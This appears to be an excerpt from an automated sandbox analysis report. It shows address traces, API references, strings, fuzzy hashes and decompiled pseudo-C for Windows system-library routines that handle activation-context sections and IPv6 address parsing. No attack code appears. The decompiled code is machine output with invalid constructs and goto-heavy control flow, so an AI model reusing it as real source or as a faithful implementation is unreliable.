0x6b5bd545
0x6b5bd533
0x6b5bd533
0x6b5bd533
0x6b5bd54f
0x6b5bd555
0x6b5bd559
0x6b5bd560
0x6b5bd570
0x6b5bd57c
0x6b5bd587
0x6b5bd5a3
0x6b5bd5a8
0x6b5bd5ac
0x00000000
0x6b5bd5ce
0x6b5bd5e9
0x6b5bd5f1
0x6b5bd5f3
0x6b5bd5fb
0x00000000
0x00000000
0x6b5bd601
0x6b5bd60a
0x6b5bd6e1
0x6b5bd6e1
0x6b5bd6e4
0x6b5bd6ec
0x6b5bd6f1
0x6b5bd6f7
0x6b5bd6f7
0x6b5bd730
0x00000000
0x6b5bd730
0x6b5bd618
0x6b5bd61f
0x6b5bd625
0x6b5bd628
0x6b5bd628
0x6b5bd644
0x6b5bd651
0x6b5bd653
0x6b5bd65b
0x6b5bd6d5
0x6b5bd6d5
0x6b5bd6dc
0x00000000
0x6b5bd65d
0x6b5bd670
0x6b5bd672
0x6b5bd67a
0x00000000
0x00000000
0x6b5bd682
0x6b5bd68b
0x6b5bd691
0x6b5bd695
0x6b5bd69c
0x6b5bd6ac
0x6b5bd6c8
0x00000000
0x00000000
0x6b5bd6ca
0x6b5bd6cf
0x6b5bd6cf
0x00000000
0x6b5bd6cf
0x6b5bd684
0x00000000
0x6b5bd684
0x6b5bd65b
0x6b5bd5ac
0x6b5bd520
0x6b5bd520
0x6b5bd4e3
0x6b581d87
0x6b581d8e

APIs

memset.1105(?,00000000,0000003C,6B620348,00000154,6B55BC93,02BE0000,?,?,?,.mui,?,?,?,?,?), ref: 6B581D2F
RtlDosApplyFileIsolationRedirection_Ustr.1105(00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6B581D78
RtlFindActivationContextSectionString.1105(00000007,00000000,00000002,?,?,00000001,?,00000000,?,?,?,?,00000000,00000000), ref: 6B5BD509

Strings

$, xrefs: 6B581D37
@, xrefs: 6B581D1B

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationApplyContextFileFindIsolationRedirection_SectionStringUstrmemset
String ID: $$@
API String ID: 2010900335-1194432280
Opcode ID: f9698ebb6aca97ecf4f14a23c8330cb10d2ab8becf57347bbc2c1bc9da1f06c8
Instruction ID: fa6ed59a9e8a9f9ce46c24c797767877018871bfcc66c764f17a9f42672cb093
Opcode Fuzzy Hash: f9698ebb6aca97ecf4f14a23c8330cb10d2ab8becf57347bbc2c1bc9da1f06c8
Instruction Fuzzy Hash: 15814B71C412799BEB21CF64CC41BDEB6B8AF49714F0045EAA91DB7280E7749E85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B548EE6, Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 148COMMON

Download Yara Rule

Strings

SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu, xrefs: 6B5A353D
SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!, xrefs: 6B5A34F1
RtlpCrackActivationContextStringSectionHeader, xrefs: 6B5A34EC, 6B5A34FA, 6B5A3517, 6B5A3538, 6B5A3548, 6B5A3558, 6B5A3572, 6B5A3589, 6B5A3598
SsHd, xrefs: 6B548F1B
SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu, xrefs: 6B5A355D
SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu, xrefs: 6B5A359D
SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu, xrefs: 6B5A3577
SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!, xrefs: 6B5A34FF
SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu, xrefs: 6B5A351C
SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu, xrefs: 6B5A358E
SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu, xrefs: 6B5A354D

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: RtlpCrackActivationContextStringSectionHeader$SXS: %s() found assembly information section with element list overlapping section header Section header: %p Header Size: %lu ElementListOffset: %lu$SXS: %s() found assembly information section with search structure overlapping section header Section header: %p Header Size: %lu SearchStructureOffset: %lu$SXS: %s() found assembly information section with user data extending beyond section data Section header: %p UserDataSize: %lu UserDataOffset: %lu Section size: %Iu$SXS: %s() found assembly information section with user data overlapping section header Section header: %p Header Size: %lu User Data Offset: %lu$SXS: %s() found assembly information section with user data too small Section header: %p UserDataSize: %lu; needed: %lu$SXS: %s() found assembly information section with wrong magic value Expected %lu; got %lu$SXS: %s() passed string section at %p claims %lu byte header size; that doesn't even include the HeaderSize member!$SXS: %s() passed string section at %p only %Iu bytes long; that's not even enough for the 4-byte magic and 4-byte header length!$SXS: %s() passed string section at %p with too small of a header HeaderSize: %lu Required: %lu$SsHd
API String ID: 0-1525761513
Opcode ID: eeb64ab47b2f6bb8693d2d3710884eaaae18ae5f312315a280a3042b97f91719
Instruction ID: e55d2dd210830d83a2ef13b00a1c4504b2c28c45ad182655ab9bf3860f95c761
Opcode Fuzzy Hash: eeb64ab47b2f6bb8693d2d3710884eaaae18ae5f312315a280a3042b97f91719
Instruction Fuzzy Hash: 18419AB1600211BFB710CE1CCC91EE7B7AEDB99B4C7648599B404EA601F379ED0287B1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5631F0, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 248
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6B5631F0(void* __ecx, void __edx, void* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v12;
				void _v28;
				signed int _v32;
				void _v36;
				int _v40;
				void _v44;
				intOrPtr _v48;
				void _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t80;
				void* _t85;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t95;
				signed int _t96;
				int _t97;
				void* _t99;
				intOrPtr _t100;
				signed int _t106;
				int _t110;
				void _t120;
				void* _t125;
				signed char _t126;
				void* _t127;
				intOrPtr _t128;
				void* _t135;
				void* _t136;
				intOrPtr _t137;
				signed int _t139;
				void* _t140;
				signed int _t152;

				_t132 = __edx;
				_v12 =  *0x6b63d360 ^ _t139;
				_t135 = __ecx;
				_t136 = 0;
				_v56 = _a8;
				_t110 =  *(__ecx + 0xc);
				_v52 = __edx;
				_v60 = _a12;
				_v40 = _t110;
				if(_t110 < 0x20 ||  *((intOrPtr*)(__ecx + 4)) < 0x20) {
					_push( *((intOrPtr*)(_t135 + 4)));
					_push(_t110);
					_push(_t135);
					_push("SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu\n");
					goto L50;
				} else {
					if(__edx != 0) {
						_t82 =  *((intOrPtr*)(__ecx + 0x14));
						if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
							goto L25;
						} else {
							_t132 = 1;
							_t85 = E6B5D444F(_t82, 1, 0x10, _t110);
							_t86 =  *((intOrPtr*)(_t135 + 0x14));
							_push(_t110);
							if(_t85 != 0) {
								_t120 =  *(_t86 + _t135 + 4);
								_t132 = _t120;
								_v44 = _t120;
								_push(0x18);
								_v32 =  *((intOrPtr*)(_t86 + _t135 + 8));
								if(E6B5D444F( *((intOrPtr*)(_t86 + _t135 + 8)), _t120) != 0) {
									_t123 = _v32 + _t135;
									_v32 = 0;
									_v48 = _t123;
									if(_v44 <= 0) {
										goto L25;
									} else {
										_t110 = _v52;
										_v36 = _t123;
										while(1) {
											_t90 = E6B58F380(_t110, _t123, 0x10);
											_t140 = _t140 + 0xc;
											_t91 = _v32;
											if(_t90 == 0) {
												break;
											}
											_t106 = _t91 + 1;
											_t123 = _v36 + 0x18;
											_v32 = _t106;
											_v36 = _v36 + 0x18;
											if(_t106 < _v44) {
												continue;
											} else {
												goto L25;
											}
											goto L52;
										}
										_t132 = 1;
										_t110 =  *(_v48 + 0x10 + (_t91 + _t91 * 2) * 8);
										if(E6B5D444F(_t110, 1, 0x10,  *(_t135 + 0xc)) != 0) {
											goto L4;
										} else {
											_push(_v40);
											_push(0x10);
											_push(_t110);
											E6B5D5720(0x33, 0, "SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)\n", _v32);
											goto L51;
										}
									}
								} else {
									_push(_t110);
									_push(0x18);
									_push(_v44);
									E6B5D5720(0x33, 0, "SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _v32);
									goto L51;
								}
							} else {
								E6B5D5720(0x33, 0, "SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)\n", _t86);
								goto L51;
							}
						}
					} else {
						_t110 =  *(__ecx + 0x10);
						if(_t110 == 0) {
							L25:
							return E6B58B640(0xc0150001, _t110, _v12 ^ _t139, _t132, _t135, _t136);
						} else {
							L4:
							_t125 = _t135 + _t110;
							if(_t125 == 0) {
								goto L25;
							} else {
								_t110 =  *(_t125 + 4);
								if(_t110 == 0) {
									goto L25;
								} else {
									_v36 =  *(_t125 + 8);
									_t95 = _t110;
									_t96 = _t95 * 0x10;
									_t152 = _t95 * 0x10 >> 0x20;
									if(_t152 < 0 || _t152 <= 0 && _t96 <= 0xffffffff) {
										_t132 =  *(_t125 + 8);
										_t137 = _t96 + _t132;
										_v48 = _t137;
										_t136 = 0;
										if(_t137 < _t96) {
											goto L47;
										} else {
											_t97 =  *(_t135 + 0xc);
											if(_t132 >= _t97 || _v48 > _t97) {
												goto L48;
											} else {
												_t126 =  *(_t125 + 0xc);
												_t99 = _t132 + _t135;
												if((_t126 & 0x00000002) == 0) {
													_t127 = 0;
													if(_t110 != 0) {
														_t132 = _a4;
														while( *_t99 != _t132) {
															_t127 = _t127 + 1;
															_t99 = _t99 + 0x10;
															if(_t127 < _t110) {
																continue;
															} else {
															}
															goto L17;
														}
														goto L16;
													}
													goto L17;
												} else {
													_t132 =  *_t99;
													_t136 = _a4;
													if(_t136 < _t132) {
														goto L25;
													} else {
														if((_t126 & 0x00000001) != 0) {
															_t136 = _t136 - _t132;
															if(_t136 >= _t110) {
																goto L25;
															} else {
																_t136 = _t99 + (_t136 << 4);
																goto L17;
															}
														} else {
															_v28 = _t136;
															_t99 = bsearch( &_v28, _t99, _t110, 0x10, 0x6b578c30);
															_t140 = _t140 + 0x14;
															L16:
															_t136 = _t99;
															L17:
															if(_t136 == 0) {
																goto L25;
															} else {
																_t100 =  *((intOrPtr*)(_t136 + 4));
																if(_t100 == 0) {
																	goto L25;
																} else {
																	_t128 =  *((intOrPtr*)(_t136 + 8));
																	_t110 =  *(_t135 + 0xc);
																	if(_t128 > 0xffffffff) {
																		L26:
																		_push(_t110);
																		_push(_t128);
																		_push(_t100);
																		_push("SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)\n");
																		L50:
																		_push(0);
																		_push(0x33);
																		E6B5D5720();
																		goto L51;
																	} else {
																		_t132 = _t128 + _t100;
																		if(_t132 < _t128 || _t100 >= _t110 || _t132 > _t110) {
																			goto L26;
																		} else {
																			 *_v56 = _t100 + _t135;
																			 *_v60 =  *((intOrPtr*)(_t136 + 8));
																			_t80 = 0;
																		}
																	}
																	goto L24;
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t132 = _v36;
										L47:
										_t97 = _v40;
										L48:
										_push(_t97);
										_push(0x10);
										_push(_t110);
										E6B5D5720(0x33, 0, "SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)\n", _t132);
										L51:
										_t80 = 0xc0150003;
										L24:
										return E6B58B640(_t80, _t110, _v12 ^ _t139, _t132, _t135, _t136);
									}
								}
							}
						}
					}
				}
				L52:
			}

0x6b5631f0
0x6b5631ff
0x6b563205
0x6b56320c
0x6b56320e
0x6b563214
0x6b563217
0x6b56321a
0x6b56321d
0x6b563223
0x6b5ad974
0x6b5ad977
0x6b5ad978
0x6b5ad979
0x00000000
0x6b563233
0x6b563235
0x6b5ad824
0x6b5ad829
0x00000000
0x6b5ad82f
0x6b5ad832
0x6b5ad839
0x6b5ad840
0x6b5ad843
0x6b5ad844
0x6b5ad85d
0x6b5ad861
0x6b5ad867
0x6b5ad86c
0x6b5ad86e
0x6b5ad878
0x6b5ad89f
0x6b5ad8a1
0x6b5ad8a4
0x6b5ad8aa
0x00000000
0x6b5ad8b0
0x6b5ad8b0
0x6b5ad8b3
0x6b5ad8b6
0x6b5ad8ba
0x6b5ad8bf
0x6b5ad8c4
0x6b5ad8c7
0x00000000
0x00000000
0x6b5ad8cc
0x6b5ad8cd
0x6b5ad8d0
0x6b5ad8d3
0x6b5ad8d9
0x00000000
0x6b5ad8db
0x00000000
0x6b5ad8db
0x00000000
0x6b5ad8d9
0x6b5ad8e9
0x6b5ad8f0
0x6b5ad8fd
0x00000000
0x6b5ad903
0x6b5ad903
0x6b5ad909
0x6b5ad90b
0x6b5ad916
0x00000000
0x6b5ad91b
0x6b5ad8fd
0x6b5ad87a
0x6b5ad87d
0x6b5ad87e
0x6b5ad880
0x6b5ad88d
0x00000000
0x6b5ad892
0x6b5ad846
0x6b5ad850
0x00000000
0x6b5ad855
0x6b5ad844
0x6b56323b
0x6b56323b
0x6b563240
0x6b56332c
0x6b563341
0x6b563246
0x6b563246
0x6b563246
0x6b56324b
0x00000000
0x6b563251
0x6b563251
0x6b563256
0x00000000
0x6b56325c
0x6b563264
0x6b563267
0x6b563269
0x6b56326b
0x6b56326d
0x6b56327e
0x6b563281
0x6b563284
0x6b563289
0x6b56328e
0x00000000
0x6b563294
0x6b563294
0x6b563299
0x00000000
0x6b5632a8
0x6b5632a8
0x6b5632ab
0x6b5632b1
0x6b5ad934
0x6b5ad938
0x6b5ad93e
0x6b5ad941
0x6b5ad949
0x6b5ad94a
0x6b5ad94f
0x00000000
0x00000000
0x6b5ad951
0x00000000
0x6b5ad94f
0x00000000
0x6b5ad941
0x00000000
0x6b5632b7
0x6b5632b7
0x6b5632b9
0x6b5632be
0x00000000
0x6b5632c0
0x6b5632c3
0x6b5ad920
0x6b5ad924
0x00000000
0x6b5ad92a
0x6b5ad92d
0x00000000
0x6b5ad92d
0x6b5632c9
0x6b5632d5
0x6b5632d9
0x6b5632de
0x6b5632e1
0x6b5632e1
0x6b5632e3
0x6b5632e5
0x00000000
0x6b5632e7
0x6b5632e7
0x6b5632ec
0x00000000
0x6b5632ee
0x6b5632ee
0x6b5632f1
0x6b5632f7
0x6b563344
0x6b563344
0x6b563345
0x6b563346
0x6b563347
0x6b5ad97e
0x6b5ad97e
0x6b5ad980
0x6b5ad982
0x00000000
0x6b5632f9
0x6b5632f9
0x6b5632fe
0x00000000
0x6b563308
0x6b56330d
0x6b563315
0x6b563317
0x6b563317
0x6b5632fe
0x00000000
0x6b5632f7
0x6b5632ec
0x6b5632e5
0x6b5632c3
0x6b5632be
0x6b5632b1
0x6b563299
0x6b5ad956
0x6b5ad956
0x6b5ad959
0x6b5ad959
0x6b5ad95c
0x6b5ad95c
0x6b5ad95d
0x6b5ad95f
0x6b5ad96a
0x6b5ad98a
0x6b5ad98a
0x6b56331c
0x6b563329
0x6b563329
0x6b56326d
0x6b563256
0x6b56324b
0x6b563240
0x6b563235
0x00000000

APIs

bsearch.1105(00000001,?,00000020,00000010,6B578C30,00000010,?,C00000E5,00000000,00000030,?,6B548D70,00000000,?,?,00000030), ref: 6B5632D9
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes),?,?,00000010,?,C00000E5,00000000,00000030,?,6B548D70,00000000,?,?,00000030), ref: 6B5AD850
DbgPrintEx.1105(00000033,00000000,SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes),?,00000020,00000010,00000030,00000010,?,C00000E5,00000000,00000030,?,6B548D70,00000000,?), ref: 6B5AD96A
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu,00000001,?,?,C00000E5,00000000,00000030,?,6B548D70,00000000,?,?,00000030,?), ref: 6B5AD982

Strings

SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes), xrefs: 6B5AD847
SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes), xrefs: 6B563347
SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6B5AD884
SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes), xrefs: 6B5AD90D
SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6B5AD961
SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu, xrefs: 6B5AD979

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$bsearch
String ID: SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu$SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)$SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)$SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
API String ID: 3813682011-732641482
Opcode ID: e4a9c96d10319bafdb63339a37c9c487e19b31583a5fc85dee40a38406f97e8f
Instruction ID: 9b021abd82bedf43738f24f84ab66738d61016293f7fceaa27f7ae3a1f0c5cd4
Opcode Fuzzy Hash: e4a9c96d10319bafdb63339a37c9c487e19b31583a5fc85dee40a38406f97e8f
Instruction Fuzzy Hash: AB81D471F40209AFFB20DE68C8D1BEEB3B5EB48744F104169E915A7291E779EC41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 6B546D10, Relevance: 21.3, APIs: 14, Instructions: 316
stringCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6B546D10(char* _a4, intOrPtr* _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char** _v20;
				signed int _v24;
				signed int _v28;
				char* _v32;
				signed int _t97;
				char** _t99;
				void* _t108;
				long _t115;
				void* _t118;
				char* _t120;
				char** _t121;
				long _t122;
				long _t123;
				signed int _t124;
				void* _t127;
				void* _t132;
				char* _t134;
				char** _t137;
				intOrPtr _t141;
				intOrPtr _t142;
				signed int _t143;
				char _t146;
				signed int _t151;
				char* _t153;
				intOrPtr* _t155;
				void* _t156;
				void* _t157;
				void* _t161;
				void* _t162;
				char** _t170;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t175;
				intOrPtr _t177;
				signed int _t179;
				signed int _t180;
				void* _t182;
				void* _t189;

				_t97 = 0;
				_v32 = 0;
				_t170 = 0;
				_v5 = 0;
				_t180 = 0;
				_v28 = 0;
				_t143 = 0;
				_v24 = 0;
				_t179 = 0;
				_v20 = 0;
				_v12 = 0;
				_v16 = 0;
				_t141 =  *_a4;
				while(_t141 != 0) {
					_t117 = _t97;
					if(_t117 != 0) {
						_t118 = _t117 - 1;
						if(_t118 != 0) {
							_t117 = _t118 == 1;
							if(_t118 == 1) {
								goto L3;
							}
							_t121 = _v20;
							_t177 = _v24;
							L27:
							if(_t177 != 1) {
								L32:
								_t142 = _a12;
								L52:
								_t153 = _v32;
								_t180 = _v12;
								if(_t153 == 0) {
									goto L28;
								}
								if(_t121 != 0) {
									if(_t180 > 3) {
										L14:
										return 0xc000000d;
									}
									_t122 = strtol(_t153, 0, 0xa);
									_t189 = _t189 + 0xc;
									if(_t122 > 0xff) {
										goto L14;
									}
									_t170 = _v20;
									 *(_t170 + _v28 * 2 + _t142 - 1) = _t122;
									L29:
									_t97 = _v24;
									L30:
									_t155 = _a4 + 1;
									_a4 = _t155;
									_t141 =  *_t155;
									_t143 = _v16;
									continue;
								}
								if(_t180 > 4) {
									goto L14;
								}
								_t123 = strtol(_t153, _t121, 0x10);
								_t189 = _t189 + 0xc;
								_t124 = _v28;
								 *((short*)(_t142 + _t124 * 2)) = _t123;
								_v28 = _t124 + 1;
							}
							L28:
							_t170 = _v20;
							goto L29;
						}
						_t185 = _t141;
						_t131 = E6B58CB30(_t118, _t141);
						_pop(_t161);
						if(_t131 == 0 || E6B58CC80(_t161, _t185) == 0) {
							_t132 = E6B58CB30(_t131, _t185);
							_pop(_t162);
							if(_t132 == 0 || E6B58CDD0(_t162, _t185) == 0) {
								if(_t141 == 0x3a) {
									if(_v20 != 0 || _t179 > 6) {
										L9:
										_t143 = _v16;
										goto L10;
									} else {
										_t134 = _a4 + 1;
										if( *_t134 != 0x3a) {
											_t177 = 0;
											L43:
											_t180 = _v12;
											_t179 = _t179 + 1;
											_t121 = _v20;
											L26:
											_v24 = _t177;
											goto L27;
										}
										_t143 = _v16;
										if(_t143 != 0) {
											L10:
											_t180 = _v12;
											break;
										}
										_t177 = 2;
										_t37 = _t179 + 1; // 0x1
										_a4 = _t134;
										_push(_t177);
										_v16 = _t37;
										_pop(1);
										goto L43;
									}
								}
								if(_t141 != 0x2e) {
									goto L9;
								}
								if(_v5 != 0) {
									goto L9;
								}
								_t137 = _v20;
								if(_t137 > 2 || _t179 > 6) {
									goto L9;
								} else {
									_t121 = _t137 + 1;
									_v20 = _t121;
									_v24 = 0;
									goto L32;
								}
							} else {
								_t170 = _v20;
								_t180 = _v12 + 1;
								_v12 = _t180;
								if(_t170 != 0) {
									_t143 = _v16;
									break;
								}
								_v5 = 1;
								goto L29;
							}
						} else {
							_t180 = _v12 + 1;
							_v12 = _t180;
							goto L28;
						}
					}
					L3:
					if(_t141 == 0x3a) {
						if(_t170 != 0 || _t179 != 0) {
							break;
						} else {
							_t120 = _a4 + 1;
							if( *_t120 != 0x3a) {
								break;
							}
							_t142 = _a12;
							_a4 = _t120;
							_t121 = _v20;
							_v16 = 1;
							_t151 = _v28;
							_t179 = 2;
							 *((short*)(_t142 + _t151 * 2)) = _t170;
							_t175 = _t179;
							_v28 = _t151 + 1;
							_v24 = _t175;
							goto L52;
						}
					}
					if(_t179 > 7) {
						break;
					}
					_t183 = _t141;
					_t126 = E6B58CB30(_t117, _t141);
					_pop(_t156);
					if(_t126 == 0 || E6B58CC80(_t156, _t183) == 0) {
						_t127 = E6B58CB30(_t126, _t183);
						_pop(_t157);
						if(_t127 == 0 || E6B58CDD0(_t157, _t183) == 0) {
							goto L9;
						} else {
							_t121 = _v20;
							if(_t121 != 0) {
								goto L9;
							}
							_v5 = 1;
							_t177 = 1;
							_v32 = _a4;
							_t180 = 1;
							_v12 = 1;
							goto L26;
						}
					} else {
						_t170 = _v20;
						_v32 = _a4;
						_t97 = 1;
						_v5 = 0;
						_t180 = 1;
						_v24 = 1;
						_v12 = 1;
						goto L30;
					}
				}
				 *_a8 = _a4;
				_t99 = _v20;
				if(_t99 != 0) {
					if(_t99 != 3) {
						goto L14;
					}
					_t179 = _t179 + 1;
				}
				if(_t143 != 0 || _t179 == 7) {
					_t172 = _v24;
					if(_t172 != 1) {
						if(_t172 != 2) {
							goto L14;
						}
						_t173 = _a12;
						 *((short*)(_t173 + _v28 * 2)) = 0;
						L73:
						if(_t143 != 0) {
							_t182 = _t173 + _t143 * 2;
							memmove(_t173 + (_t143 - _t179 + 8) * 2, _t182, _t179 - _t143 + _t179 - _t143);
							_t108 = 8;
							memset(_t182, 0, _t108 - _t179 + _t108 - _t179);
						}
						return 0;
					}
					if(_t99 != 0) {
						if(_t180 > 3) {
							goto L14;
						}
						_t146 = strtol(_v32, 0, 0xa);
						_t189 = _t189 + 0xc;
						if(_t146 > 0xff) {
							goto L14;
						}
						_t173 = _a12;
						 *((char*)(_v20 + _v28 * 2 + _t173)) = _t146;
						L70:
						_t143 = _v16;
						goto L73;
					}
					if(_t180 > 4) {
						goto L14;
					}
					_t115 = strtol(_v32, _t99, 0x10);
					_t173 = _a12;
					_t189 = _t189 + 0xc;
					 *((short*)(_t173 + _v28 * 2)) = _t115;
					goto L70;
				} else {
					goto L14;
				}
			}

0x6b546d1c
0x6b546d1e
0x6b546d21
0x6b546d23
0x6b546d26
0x6b546d28
0x6b546d2b
0x6b546d2d
0x6b546d31
0x6b546d33
0x6b546d39
0x6b546d3c
0x6b546d3f
0x6b546d41
0x6b546d45
0x6b546d48
0x6b546dc7
0x6b546dca
0x6b5a1e50
0x6b5a1e53
0x00000000
0x00000000
0x6b5a1e59
0x6b5a1e5c
0x6b546e3b
0x6b546e3e
0x6b546e60
0x6b546e60
0x6b5a1f34
0x6b5a1f34
0x6b5a1f37
0x6b5a1f3c
0x00000000
0x00000000
0x6b5a1f44
0x6b5a1f90
0x6b546db9
0x00000000
0x6b546db9
0x6b5a1f9b
0x6b5a1fa0
0x6b5a1fa8
0x00000000
0x00000000
0x6b5a1fae
0x6b5a1fb7
0x6b546e43
0x6b546e43
0x6b546e46
0x6b546e49
0x6b546e4a
0x6b546e4d
0x6b546e4f
0x00000000
0x6b546e4f
0x6b5a1f49
0x00000000
0x00000000
0x6b5a1f53
0x6b5a1f5a
0x6b5a1f5f
0x6b5a1f62
0x6b5a1f67
0x6b5a1f67
0x6b546e40
0x6b546e40
0x00000000
0x6b546e40
0x6b546dd0
0x6b546dd4
0x6b546dd9
0x6b546ddc
0x6b546dea
0x6b546def
0x6b546df2
0x6b546e06
0x6b5a1e83
0x6b546d8f
0x6b546d8f
0x00000000
0x6b5a1e92
0x6b5a1e95
0x6b5a1e99
0x6b5a1eb8
0x6b5a1ebb
0x6b5a1ebb
0x6b5a1ebe
0x6b5a1ec0
0x6b546e38
0x6b546e38
0x00000000
0x6b546e38
0x6b5a1e9b
0x6b5a1ea0
0x6b546d92
0x6b546d92
0x00000000
0x6b546d92
0x6b5a1ea8
0x6b5a1ea9
0x6b5a1eac
0x6b5a1eaf
0x6b5a1eb0
0x6b5a1eb3
0x00000000
0x6b5a1eb3
0x6b5a1e83
0x6b546e0f
0x00000000
0x00000000
0x6b5a1ecc
0x00000000
0x00000000
0x6b5a1ed2
0x6b5a1ed8
0x00000000
0x6b5a1ee7
0x6b5a1ee7
0x6b5a1eea
0x6b5a1eed
0x00000000
0x6b5a1eed
0x6b5a1e64
0x6b5a1e67
0x6b5a1e6a
0x6b5a1e6b
0x6b5a1e70
0x6b5a1fc0
0x00000000
0x6b5a1fc0
0x6b5a1e76
0x00000000
0x6b5a1e76
0x6b546e57
0x6b546e5a
0x6b546e5b
0x00000000
0x6b546e5b
0x6b546ddc
0x6b546d4a
0x6b546d4d
0x6b5a1ef7
0x00000000
0x6b5a1f05
0x6b5a1f08
0x6b5a1f0c
0x00000000
0x00000000
0x6b5a1f12
0x6b5a1f18
0x6b5a1f1b
0x6b5a1f1e
0x6b5a1f21
0x6b5a1f26
0x6b5a1f28
0x6b5a1f2d
0x6b5a1f2e
0x6b5a1f31
0x00000000
0x6b5a1f31
0x6b5a1ef7
0x6b546d56
0x00000000
0x00000000
0x6b546d58
0x6b546d5c
0x6b546d61
0x6b546d64
0x6b546d76
0x6b546d7b
0x6b546d7e
0x00000000
0x6b546e1a
0x6b546e1a
0x6b546e1f
0x00000000
0x00000000
0x6b546e2c
0x6b546e30
0x6b546e31
0x6b546e34
0x6b546e35
0x00000000
0x6b546e35
0x6b5a1f6f
0x6b5a1f74
0x6b5a1f77
0x6b5a1f7c
0x6b5a1f7d
0x6b5a1f81
0x6b5a1f82
0x6b5a1f85
0x00000000
0x6b5a1f85
0x6b546d64
0x6b546d9b
0x6b546d9d
0x6b546da2
0x6b5a1fcb
0x00000000
0x00000000
0x6b5a1fd1
0x6b5a1fd1
0x6b546daa
0x6b5a1fd7
0x6b5a1fdd
0x6b5a2047
0x00000000
0x00000000
0x6b5a204d
0x6b5a2055
0x6b5a2059
0x6b5a205b
0x6b5a205d
0x6b5a2071
0x6b5a2078
0x6b5a2081
0x6b5a2086
0x00000000
0x6b5a2089
0x6b5a1fe1
0x6b5a200d
0x00000000
0x00000000
0x6b5a201f
0x6b5a2021
0x6b5a202a
0x00000000
0x00000000
0x6b5a2039
0x6b5a203c
0x6b5a203f
0x6b5a203f
0x00000000
0x6b5a203f
